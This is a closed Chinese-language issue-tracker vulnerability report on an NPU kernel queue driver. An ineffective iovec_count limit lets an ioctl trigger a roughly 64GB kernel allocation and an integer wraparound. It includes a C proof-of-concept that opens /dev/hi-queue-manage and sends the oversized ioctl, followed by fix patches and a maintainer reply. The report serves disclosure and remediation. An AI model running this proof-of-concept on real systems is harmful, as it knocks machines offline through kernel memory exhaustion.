已关闭
【driver】VULN-DF-QUEUE-001: QUEUE_MAX_IOVEC_NUM 上界无效导致内核内存耗尽 #134
佳祺创建于 8月14日关闭于 19 天前
ad_cx
8月17日 评论:
8月17日 评论:
你好,感谢关注和挖掘,npu驱动对于用户参数用作内存申请的size,统一规划用cgroup机制管控内存上限,我们将进一步确认该控制机制能否完全覆盖本问题描述


你好,感谢关注和挖掘,npu驱动对于用户参数用作内存申请的size,统一规划用cgroup机制管控内存上限,我们将进一步确认该控制机制能否完全覆盖本问题描述


【driver】VULN-DF-QUEUE-001: QUEUE_MAX_IOVEC_NUM 上界无效导致内核内存耗尽
1. 漏洞概述
src/sdk_driver/queue/host/queue_fops.cqueue_get_vector(行 185),queue_drv_que_chan_create(行 395)QUEUE_ENQUEUE_CMDioctl (_IOW('Q', 2, struct queue_ioctl_enqueue))/dev/hi-queue-manage核心问题:
QUEUE_MAX_IOVEC_NUM被定义为((~0U) - 1) = 0xFFFFFFFE(约 43 亿),使得queue_para_check()中对iovec_count的上界检查形同虚设。用户态可传入接近UINT_MAX的iovec_count,触发两个独立的安全问题:vector_len计算产生约 64GB 的分配请求iovec_count + 1在特定值下整数回绕为 02. 攻击路径分析
2.1 完整调用链
2.2 数据流追踪
2.3 关键数据结构
// queue_ioctl.h:35 - ioctl 参数结构 struct queue_ioctl_enqueue { struct sched_published_event_info event_info; // 事件信息 unsigned int devid; // 设备 ID unsigned int qid; // 队列 ID unsigned int type; // 内存类型 int time_out; // 超时 unsigned int iovec_count; // ★ 用户控制的 iovec 数量 struct buff_iovec *vector; // ★ 用户空间指针 }; // ascend_hal_define.h:253 - iovec 描述符 (16 字节) struct iovec_info { void *iovec_base; // 8 bytes unsigned long long len; // 8 bytes }; // ascend_hal_define.h:259 - iovec 缓冲区头 struct buff_iovec { void *context_base; // 8 bytes unsigned long long context_len; // 8 bytes unsigned int count; // 4 bytes (+ 4 padding) struct iovec_info ptr[]; // 柔性数组 }; // sizeof(struct buff_iovec) ≈ 24 字节 // ascend_hal_define.h:258 - 无效的上界常量 #define QUEUE_MAX_IOVEC_NUM ((~0U) - 1) // = 0xFFFFFFFE = 4,294,967,2943. PoC 概念验证思路
3.1 攻击向量 A: 内核内存耗尽 (DoS)
触发条件:
iovec_count = 0xFFFFFFFE(通过检查的最大值)分配大小计算:
PoC 伪代码:
#include <fcntl.h> #include <sys/ioctl.h> #include <string.h> #define QUEUE_IOC_MAGIC 'Q' #define QUEUE_ENQUEUE_CMD _IOW(QUEUE_IOC_MAGIC, 2, struct queue_ioctl_enqueue) // 复制内核结构定义 struct queue_ioctl_enqueue { /* ... event_info 填充 ... */ unsigned int devid; unsigned int qid; unsigned int type; int time_out; unsigned int iovec_count; struct buff_iovec *vector; }; int main() { int fd = open("/dev/hi-queue-manage", O_RDWR); if (fd < 0) return 1; struct queue_ioctl_enqueue para; memset(¶, 0, sizeof(para)); // 设置有效 devid(需枚举可用设备) para.devid = 0; para.qid = 0; para.type = 0; // QUEUE_BUFF // ★ 关键: 设置为通过检查的最大值 para.iovec_count = 0xFFFFFFFE; // QUEUE_MAX_IOVEC_NUM // 分配一个最小的有效 vector 头(用户空间) // 实际 copy_from_user 会尝试读取 64GB, // 但内核 kvalloc 先执行,已经触发 DoS struct buff_iovec *vec = malloc(sizeof(struct buff_iovec)); vec->context_base = NULL; vec->context_len = 0; vec->count = 0xFFFFFFFE; para.vector = vec; // 设置有效的 event_info para.event_info.msg = malloc(64); para.event_info.msg_len = 64; // 触发 ioctl - 内核将尝试分配 64GB ioctl(fd, QUEUE_ENQUEUE_CMD, ¶); return 0; }预期效果:
queue_kvalloc()尝试分配 ~64GB 内存3.2 攻击向量 B: DMA 资源分配整数回绕
触发条件分析:
行 395 的表达式
para->iovec_count + 1中,iovec_count为unsigned int:0xFFFFFFFF0(回绕)0xFFFFFFFE0xFFFFFFFF101关键发现: 精确的零回绕 (
iovec_count = 0xFFFFFFFF → 0) 被queue_para_check阻止。但存在以下绕过可能性:queue_chan_dma_create内部实现未知: 如果该函数内部对参数做了截断(如转为u16或u8),0xFFFFFFFF传入后仍可能产生小值分配queue_drv_que_chan_create(行 430)在queue_get_vector(行 436)之前调用。这意味着 DMA 资源分配先于巨量内存分配执行,即使后续kvalloc失败,DMA 资源已被不当分配queue_chan_dma_create内部使用共享资源计数器,0xFFFFFFFF的 DMA 请求可能导致计数器溢出,影响其他进程3.3 攻击向量 C: copy_from_user 大量读取
行 192 的
ka_base_copy_from_user(vector, para->vector, vector_len)在kvalloc成功后,会尝试从用户空间读取vector_len字节。如果用户空间映射了恶意页面:这可能导致任意内核地址的 DMA 映射,构成更严重的信息泄露或权限提升漏洞。
4. 影响评估
4.1 直接影响
4.2 影响范围
/dev/hi-queue-manage设备节点有 ioctl 权限4.3 CVSS 评估 (估算)
估算评分: 7.7 (High)
5. 利用前提条件
5.1 必要条件
设备节点访问权限: 攻击者需要对
/dev/hi-queue-manage字符设备有读写权限root或特定用户组(如davinci/ascend)HDC 会话初始化:
queue_drv_enqueue在行 418 检查hdc_session[para->devid] >= 0QUEUE_HOST_COMMON_OP_CMD(QUEUE_INIT) 初始化 HDC 会话queue_drv_host_init→hdcdrv_kernel_connect有效设备 ID:
para->devid必须通过uda_devid_to_phy_devid转换且phy_devid < MAX_DEVICE有效队列 ID:
para->qid < MAX_SURPORT_QUEUE_NUM5.2 充分条件
chmod 666),任何本地用户均可利用5.3 利用难度
iovec_count = 0xFFFFFFFE6. 修复建议
6.1 紧急修复 (P0): 设置合理的 iovec_count 上限
// 修复前 (ascend_hal_define.h:258) #define QUEUE_MAX_IOVEC_NUM ((~0U) - 1) // 0xFFFFFFFE — 无效 // 修复后: 根据实际业务需求设置合理上限 #define QUEUE_MAX_IOVEC_NUM 1024 // 或根据硬件 DMA 通道限制确定理由: 实际 AI 推理/训练场景中,单次 enqueue 操作的 iovec 数量远低于此值。建议参考硬件 DMA 描述符表的最大深度来确定上限。
6.2 防御性修复: 在分配前增加溢出检查
STATIC struct buff_iovec *queue_get_vector(struct queue_ioctl_enqueue *para) { struct buff_iovec *vector = NULL; u64 vector_len; int ret; // ★ 新增: 分配大小上限检查 if (para->iovec_count > QUEUE_MAX_IOVEC_NUM) { queue_err("iovec_count %u exceeds limit %u\n", para->iovec_count, QUEUE_MAX_IOVEC_NUM); return NULL; } vector_len = (u64)sizeof(struct buff_iovec) + (u64)para->iovec_count * sizeof(struct iovec_info); // ★ 新增: 分配大小合理性检查 if (vector_len > QUEUE_MAX_VECTOR_BYTES) { // 如 16MB queue_err("vector_len %llu too large\n", vector_len); return NULL; } vector = (struct buff_iovec *)queue_kvalloc(vector_len, 0); // ... }6.3 修复 DMA 创建中的整数溢出
// queue_fops.c:395 修复前 ret = queue_chan_dma_create(que_chan, para->iovec_count + 1); // 修复后: 使用安全加法 if (check_add_overflow(para->iovec_count, 1, &dma_count)) { queue_err("iovec_count overflow\n"); return NULL; } ret = queue_chan_dma_create(que_chan, dma_count);6.4 纵深防御: 限制内核分配大小
// 在 queue_kvalloc 包装函数中增加上限 static inline void *queue_kvalloc(u64 size, gfp_t flags) { if (size > QUEUE_MAX_ALLOC_SIZE) // 如 64MB return NULL; return kvmalloc(size, flags); }6.5 修复优先级
QUEUE_MAX_IOVEC_NUMqueue_get_vector分配上限iovec_count + 1溢出检查queue_kvalloc全局上限7. 附录: 执行时序分析
注意: T2 在 T3 之前执行。即使 T3 的内存分配失败导致函数返回错误,T2 中已分配的 DMA 资源(以
0xFFFFFFFF为参数)可能已经对系统状态产生了不可逆影响。需要确认queue_chan_destroy在错误路径中是否正确清理了 T2 分配的资源。报告生成时间: 2026-07-29
分析工具: 静态代码审计 + 数据流追踪
分析范围: queue_fops.c 及相关头文件